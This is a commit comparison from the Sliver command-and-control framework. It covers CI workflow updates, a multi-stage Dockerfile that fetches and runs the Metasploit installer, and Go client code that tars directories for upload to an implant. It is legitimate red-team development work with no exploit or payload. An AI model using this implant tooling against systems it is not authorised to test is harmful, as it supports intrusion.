Compare commits

...
Author SHA1 Message Date
moloch-- dee26bcb3d Add paths to unit tests 2023-12-15 17:44:18 -06:00
moloch-- 67c6710ff9 Add asciinema intro 2023-12-15 17:40:05 -06:00
moloch-- 15781566ab Add more pages 2023-12-15 16:18:23 -06:00
moloch-- 2bcaf9a78f Store doc state in frag 2023-12-15 15:59:26 -06:00
moloch-- 3a846e41a7 Fix image rendering 2023-12-15 15:44:56 -06:00
moloch-- 8260c90288 Add more pages 2023-12-15 15:36:01 -06:00
moloch-- 7ab9ddb68f Implement monaco code viewer 2023-12-15 09:15:27 -06:00
moloch-- 99c3bde7df Fix dark mode docs 2023-12-14 18:29:52 -06:00
moloch-- 84c4832ff4 Basic renderer working 2023-12-14 18:18:01 -06:00
moloch-- 1a280c3677 Fix root document 2023-12-14 17:57:31 -06:00
moloch-- c16737bfe9 Implement docs.json scheme 2023-12-14 16:40:29 -06:00
moloch-- 2e6904d838 Update docs readme 2023-12-13 18:43:09 -06:00
moloch-- f92067ef7d Place holders 2023-12-13 18:25:15 -06:00
moloch-- 33e678684f Add asciinema and monaco 2023-12-13 18:23:57 -06:00
moloch-- 0c2e8e1164 Add page dirs 2023-12-13 18:12:06 -06:00
moloch-- f7e3fd99e4 Initial commit 2023-12-13 17:57:31 -06:00
moloch-- 5539016c9b Fix out path 2023-12-13 17:23:54 -06:00
moloch-- 96fd678b3e Try to fix npm and node being stupid 2023-12-13 17:22:32 -06:00
moloch-- d2ccfb288d Node being dumb as usual 2023-12-13 17:20:28 -06:00
moloch-- cd834fcab4 Fix docs paths 2023-12-13 17:15:42 -06:00
moloch-- 8e9899e6c4 Change working directory 2023-12-13 17:14:24 -06:00
moloch-- 84d82aedcf Change working directory 2023-12-13 17:13:00 -06:00
moloch-- a3d1015449 Fix paths to subdir 2023-12-13 17:09:25 -06:00
Joe 60da181cc6 Merge pull request #1502 from BishopFox/docs/next
Add nextjs docs app
2023-12-13 17:06:15 -06:00
moloch-- a1abcaa6c8 Add nextjs docs app 2023-12-13 17:04:22 -06:00
Ronan Kervella 3974b53301 Merge pull request #1495 from vitorfhc/master
Adds the "permissions" flag to operator cmd in cli
2023-12-13 08:52:38 -08:00
Ronan Kervella dabc301108 Merge branch 'master' into master 2023-12-13 08:24:07 -08:00
Joe e32d0dd283 Merge pull request #1498 from BishopFox/4997dependabot/github_actions/actions/setup-go-5
Bump actions/setup-go from 4 to 5
2023-12-13 09:27:54 -06:00
dependabot[bot] 823d10c43c Bump actions/setup-go from 4 to 5
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 4 to 5.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-12-11 03:26:17 +00:00
Vitor Falcao fc7e0a8d19 Adds the "permissions" flag to operator cmd in cli 2023-12-06 15:39:33 -03:00
Joe c1242a82a6 Merge pull request #1489 from Z3ratu1/fix/correct-section-length-in-evasion_windows.go
correct section length in evasion_windows.go
2023-12-04 12:27:39 -08:00
z3ratu1 d2bd8ddd42 correct section length in evasion_windows.go(fix for issue #1189) 2023-12-04 12:13:11 +08:00
Joe 061166755d Merge pull request #1477 from BishopFox/347bdependabot/go_modules/github.com/spf13/cobra-1.8.0
Bump github.com/spf13/cobra from 1.7.0 to 1.8.0
2023-11-27 08:49:58 -08:00
dependabot[bot] 489678e635 Bump github.com/spf13/cobra from 1.7.0 to 1.8.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.7.0...v1.8.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-27 16:17:54 +00:00
Joe 93f86ac79b Merge pull request #1476 from BishopFox/61f3dependabot/go_modules/github.com/reeflective/readline-1.0.11
Bump github.com/reeflective/readline from 1.0.10 to 1.0.11
2023-11-27 08:15:10 -08:00
dependabot[bot] 6ea60eeffc Bump github.com/reeflective/readline from 1.0.10 to 1.0.11
Bumps [github.com/reeflective/readline](https://github.com/reeflective/readline) from 1.0.10 to 1.0.11.
- [Release notes](https://github.com/reeflective/readline/releases)
- [Changelog](https://github.com/reeflective/readline/blob/master/history.go)
- [Commits](https://github.com/reeflective/readline/compare/v1.0.10...v1.0.11)

---
updated-dependencies:
- dependency-name: github.com/reeflective/readline
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-27 03:47:58 +00:00
Joe 2bc427f551 Merge pull request #1467 from BishopFox/5fa4dependabot/go_modules/github.com/yiya1989/sshkrb5-0.0.1
Bump github.com/yiya1989/sshkrb5 from 0.0.0-20201110125252-a1455b75a35e to 0.0.1
2023-11-21 12:28:42 -08:00
dependabot[bot] 59f54706a0 Bump github.com/yiya1989/sshkrb5
Bumps [github.com/yiya1989/sshkrb5](https://github.com/yiya1989/sshkrb5) from 0.0.0-20201110125252-a1455b75a35e to 0.0.1.
- [Release notes](https://github.com/yiya1989/sshkrb5/releases)
- [Commits](https://github.com/yiya1989/sshkrb5/commits/v0.0.1)

---
updated-dependencies:
- dependency-name: github.com/yiya1989/sshkrb5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-21 17:43:58 +00:00
Joe cb61b81459 Merge pull request #1469 from BishopFox/fecbdependabot/go_modules/github.com/google/uuid-1.4.0
Bump github.com/google/uuid from 1.3.1 to 1.4.0
2023-11-21 09:42:17 -08:00
Joe 880eb6091b Merge pull request #1468 from BishopFox/34ffdependabot/go_modules/github.com/miekg/dns-1.1.57
Bump github.com/miekg/dns from 1.1.56 to 1.1.57
2023-11-21 09:41:45 -08:00
dependabot[bot] 36ed8ad5b9 Bump github.com/miekg/dns from 1.1.56 to 1.1.57
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.56 to 1.1.57.
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.56...v1.1.57)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 22:25:37 +00:00
dependabot[bot] 1b6af55b14 Bump github.com/google/uuid from 1.3.1 to 1.4.0
Bumps [github.com/google/uuid](https://github.com/google/uuid) from 1.3.1 to 1.4.0.
- [Release notes](https://github.com/google/uuid/releases)
- [Changelog](https://github.com/google/uuid/blob/master/CHANGELOG.md)
- [Commits](https://github.com/google/uuid/compare/v1.3.1...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/google/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 22:25:11 +00:00
Joe 95a2eead7d Merge pull request #1470 from BishopFox/eda5dependabot/go_modules/github.com/mattn/go-sqlite3-1.14.18
Bump github.com/mattn/go-sqlite3 from 1.14.17 to 1.14.18
2023-11-20 14:24:08 -08:00
Joe c02b87030e Merge pull request #1471 from BishopFox/c9f2dependabot/go_modules/github.com/reeflective/readline-1.0.10
Bump github.com/reeflective/readline from 1.0.8 to 1.0.10
2023-11-20 14:23:55 -08:00
dependabot[bot] 9f252327ca Bump github.com/reeflective/readline from 1.0.8 to 1.0.10
Bumps [github.com/reeflective/readline](https://github.com/reeflective/readline) from 1.0.8 to 1.0.10.
- [Release notes](https://github.com/reeflective/readline/releases)
- [Changelog](https://github.com/reeflective/readline/blob/master/history.go)
- [Commits](https://github.com/reeflective/readline/compare/v1.0.8...v1.0.10)

---
updated-dependencies:
- dependency-name: github.com/reeflective/readline
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 03:57:56 +00:00
dependabot[bot] c3889e160c Bump github.com/mattn/go-sqlite3 from 1.14.17 to 1.14.18
Bumps [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) from 1.14.17 to 1.14.18.
- [Release notes](https://github.com/mattn/go-sqlite3/releases)
- [Commits](https://github.com/mattn/go-sqlite3/compare/v1.14.17...v1.14.18)

---
updated-dependencies:
- dependency-name: github.com/mattn/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-11-20 03:57:49 +00:00
moloch-- 853fb02e9f Fix duplicate sectool names 2023-11-19 11:01:05 -07:00
moloch-- 4f9943ec41 Fix duplicate sectool names 2023-11-19 10:59:42 -07:00
moloch-- 3e72fff43b Minor cleanups 2023-11-19 10:27:21 -07:00
moloch-- 13178f5849 Tweak token err msg 2023-11-18 13:36:31 -07:00
moloch-- 88c67e88d9 Merge branch 'operator/permissions' 2023-11-18 13:34:24 -07:00
moloch-- 14e78df896 Add more nil checks 2023-11-18 13:34:09 -07:00
moloch-- b3429f5f88 Fix err nil deref 2023-11-18 13:31:47 -07:00
Joe 0402d622e1 Merge pull request #1466 from BishopFox/operator/permissions
Operator/permissions
2023-11-18 12:11:59 -08:00
moloch-- 04d8d2aac7 Add missing builder permissions 2023-11-18 12:39:34 -07:00
moloch-- b71759f3b2 Add basic methods 2023-11-18 12:33:06 -07:00
moloch-- 13c68a7f50 Implement method checks 2023-11-18 12:27:39 -07:00
moloch-- 1f894f50ff Add permissions to operator config 2023-11-18 12:14:33 -07:00
moloch-- 33ea66de58 Add production 'slim' Docker stage 2023-11-18 10:19:14 -07:00
moloch-- 9a432f583d Add missing libs to docker test 2023-11-18 10:09:32 -07:00
moloch-- cbcd948c83 Add comments to Dockerfile 2023-11-18 09:24:21 -07:00
Joe 2ada8bf8ed Merge pull request #1465 from BishopFox/vendor/ssh
Update ssh and garble
2023-11-18 08:16:16 -08:00
moloch-- 02a4657d14 Additional tweaks to dockerfile 2023-11-18 08:53:46 -07:00
Joe b7cef9a07c Merge branch 'master' into vendor/ssh 2023-11-18 07:06:53 -08:00
moloch-- 49606ba753 Update ssh and garble 2023-11-18 07:49:03 -07:00
Joe 116431a049 Merge pull request #1421 from BishopFox/upload-dir
Adding the ability to upload directories
2023-11-17 10:03:09 -08:00
Joe ae5ac2af0f Merge branch 'master' into upload-dir 2023-11-17 09:34:45 -08:00
Joe b03c2ca6cd Merge pull request #1464 from BishopFox/vendor/gorilla
Update deps
2023-11-16 17:55:34 -08:00
Joe 6a4276e1e2 Merge pull request #1463 from BishopFox/http/default-config
Update default http c2 config
2023-11-16 17:55:17 -08:00
moloch-- c7358f8e63 Remove uneeded rand seeding 2023-11-16 18:32:54 -07:00
moloch-- de2fb65ee0 Improve cert randomization 2023-11-16 18:28:48 -07:00
moloch-- c52ca054a0 Update default http c2 config 2023-11-16 18:22:50 -07:00
moloch-- ffdbaba982 Update default http c2 config 2023-11-16 18:17:04 -07:00
moloch-- d23d814368 Update deps 2023-11-16 17:20:33 -07:00
Joe a57a67b6e0 Merge pull request #1461 from BishopFox/vendor/sqlite
Update sqlite deps
2023-11-16 15:59:35 -08:00
Joe 79b2b9da1f Merge branch 'master' into vendor/sqlite 2023-11-16 15:36:31 -08:00
moloch-- e0a3114692 Update sqlite deps 2023-11-16 16:35:34 -07:00
Joe 4bbe8f0976 Merge pull request #1460 from BishopFox/vendor/wg
Update Wireguard Deps
2023-11-16 15:31:02 -08:00
Joe 699b9bbe9b Merge pull request #1378 from BishopFox/fix/kill
Fix kill for sessions
2023-11-16 15:14:31 -08:00
moloch-- a6b583f538 Re-add forwarding to custom netstack 2023-11-16 15:57:49 -07:00
moloch-- 2ac22d137a Re-add custom netstack 2023-11-16 15:43:28 -07:00
moloch-- 579252f531 Downgrade x/crypo/ssh to v0.13.0 2023-11-16 15:24:01 -07:00
moloch-- 6558d53cc0 Update implant crypto/ssh 2023-11-16 14:40:44 -07:00
moloch-- d364f30ce6 Update crypto/ssh 2023-11-16 14:20:42 -07:00
moloch-- 499df6f923 Use upstream netstack 2023-11-16 14:09:39 -07:00
moloch-- 5a3053fe7a Use go branch of gvisor 2023-11-16 13:44:30 -07:00
moloch-- 9d08e4ca9f Update implant wireguard, tailscale, and gvisor 2023-11-16 13:31:46 -07:00
moloch-- ed9d8274f8 Update wireguard, tailscale, and gvisor 2023-11-16 13:20:38 -07:00
moloch-- 5efd05fcdf Switch to slim image for prod 2023-11-16 11:41:49 -07:00
moloch-- 9e95f3dbdc Specify container platform 2023-11-16 11:24:01 -07:00
Joe 3bbd4a230e Merge pull request #1458 from bman46/docker-optimization
Optimize Dockerfile
2023-11-16 09:25:35 -08:00
Joe ee2a72ff5f Merge branch 'master' into fix/kill 2023-11-16 07:30:29 -08:00
Joe 86507dc5c5 Merge pull request #1459 from BishopFox/fix_external_build
adapt external builds to support http c2 configuration and new build …
2023-11-16 07:29:36 -08:00
Joe 29dde09bdc Merge branch 'master' into docker-optimization 2023-11-14 11:51:36 -08:00
Brendan McShane ce6402a5d8 Fix comment 2023-11-14 10:57:33 -05:00
Brendan McShane 6da2209509 Update docker file 2023-11-14 10:57:33 -05:00
Ronan Kervella 8c1194283b Merge branch 'master' into upload-dir 2023-11-10 14:05:05 -08:00
Raf 8ebd7da9a8 Merge branch 'master' into upload-dir 2023-11-08 08:15:02 -05:00
Raf a511af6fd2 Merge branch 'master' into upload-dir 2023-11-01 10:52:23 -04:00
Raf 97a22bb8eb Merging master into this branch and making some tweaks to upload. 2023-11-01 10:38:34 -04:00
Ronan Kervella 6b88a01fad Merge branch 'master' into upload-dir 2023-10-19 15:31:56 -07:00
Raf 7747df7b96 Addressing potential zip slip issue, fixing bug when uploading directories without a filter 2023-10-04 11:11:49 -04:00
Raf efe747b8aa Adding the ability to upload directories 2023-10-04 10:13:04 -04:00
Ronan Kervella b0c3549b08 Merge branch 'master' into fix/kill 2023-09-18 12:51:41 -07:00
Ronan Kervella fb5bd84811 Merge branch 'master' into fix/kill 2023-08-08 11:14:23 -07:00
rkervella ae8444fc75 fix kill for sessions 2023-08-08 09:28:52 -07:00
2382 changed files with 273634 additions and 69613 deletions

No files matched your search

+2 -2
View File
@@ -12,7 +12,7 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
@@ -43,7 +43,7 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
+1 -1
View File
@@ -17,7 +17,7 @@ jobs:
steps:
# Setup go environment
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
+102
View File
@@ -0,0 +1,102 @@
# Sample workflow for building and deploying a Next.js site to GitHub Pages
#
# To get started with Next.js see: https://nextjs.org/docs/getting-started
#
name: Sliver Docs
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
build:
runs-on: ubuntu-latest
defaults:
run:
working-directory: ${{ github.workspace }}/docs/sliver-docs
env:
working-directory: ${{ github.workspace }}/docs/sliver-docs
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Detect package manager
id: detect-package-manager
run: |
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
echo "manager=yarn" >> $GITHUB_OUTPUT
echo "command=install" >> $GITHUB_OUTPUT
echo "runner=yarn" >> $GITHUB_OUTPUT
exit 0
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
echo "manager=npm" >> $GITHUB_OUTPUT
echo "command=ci" >> $GITHUB_OUTPUT
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
exit 0
else
echo "Unable to determine package manager"
exit 1
fi
- name: Setup Node
uses: actions/setup-node@v4
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v3
- name: Restore cache
uses: actions/cache@v3
with:
path: |
.next/cache
# Generate a new cache whenever packages or source files change.
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
# If source files changed but packages didn't, rebuild from a prior cache.
restore-keys: |
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
- name: Install dependencies
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
- name: Build with Next.js
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v1
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v2
+11 -3
View File
@@ -3,6 +3,14 @@ on:
pull_request:
branches:
- master
paths:
- "go.mod"
- "go.sum"
- "Makefile"
- "**/*.go"
- "**/*.c"
- "**/*.h"
- "**/*.sh"
types:
- opened
- reopened
@@ -16,7 +24,7 @@ jobs:
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
@@ -50,7 +58,7 @@ jobs:
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
@@ -81,7 +89,7 @@ jobs:
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v4
uses: actions/setup-go@v5
with:
go-version: "^1.21"
+108 -43
View File
@@ -1,60 +1,125 @@
FROM --platform=linux/amd64 golang:1.21.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
# For production:
# docker build --target production -t sliver .
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
#
# For unit testing:
# docker build --target test .
#
# Base packages
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev wget zip unzip
#
# > User
#
### Add sliver user
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# Go assets
### Build sliver:
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
# Run unit tests
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
libxml2 libxml2-dev libxslt-dev locate gnupg \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall \
&& mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete
### Cleanup unneeded packages
RUN apt-get remove -y curl gnupg \
&& apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages
RUN apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
+2 -7
View File
@@ -61,14 +61,9 @@ def docker_rm_all():
def build():
status = exec_cmd("docker build -t sliver .")
status = exec_cmd("docker build --target test .")
if status == 0:
print(
INFO
+ "Build successful, start with %sdocker run -it sliver:latest%s"
% (BOLD, NORM)
)
print(INFO + "Remember you'll need to manually forward network ports")
print("\n\n" + INFO + "Build successful")
def main(args):
+349 -19
View File
@@ -19,23 +19,261 @@ package filesystem
*/
import (
"archive/tar"
"bytes"
"context"
"errors"
"fmt"
"io"
"io/fs"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func standarizeArchiveFileName(path string, uploadPathSpecified string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
var standardUploadPath string = strings.ReplaceAll(uploadPathSpecified, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
beginningOfUploadPath, _, _ := strings.Cut(standardUploadPath, "/")
if index := strings.Index(standardFilePath, beginningOfUploadPath); index != -1 {
// Add a / in front to make the specified upload path the root
standardFilePath = "/" + standardFilePath[index:]
}
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string, recurse bool, preserveDirStructure bool) ([]byte, int, int, error) {
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
var buffer bytes.Buffer
tarWriter := tar.NewWriter(&buffer)
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(sourcePath, "\\", "/")
directory, err := os.Open(sourcePath)
if err != nil {
return nil, readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return nil, readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if sourceFilter != "" {
match, err := matcher.Match(sourcePath+sourceFilter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(sourcePath, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if sourceFilter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := matcher.Match(testPath+sourceFilter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
var fileName string
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
if preserveDirStructure {
fileName = standarizeArchiveFileName(file, pathAsSpecified)
} else {
fileName = fi.Name()
}
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
}
if err := tarWriter.Close(); err != nil {
return buffer.Bytes(), readFiles, unreadableFiles, err
}
return buffer.Bytes(), readFiles, unreadableFiles, nil
}
// UploadCmd - Upload a file to the remote system
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
readFiles := 0
unreadableFiles := 0
var isDirectory bool
var fileName string
var sourceInfomation fs.FileInfo
var uploadData []byte
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
@@ -48,9 +286,10 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
remotePath = args[1]
}
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
recurse, _ := cmd.Flags().GetBool("recurse")
preserve, _ := cmd.Flags().GetBool("preserve")
isIOC, _ := cmd.Flags().GetBool("ioc")
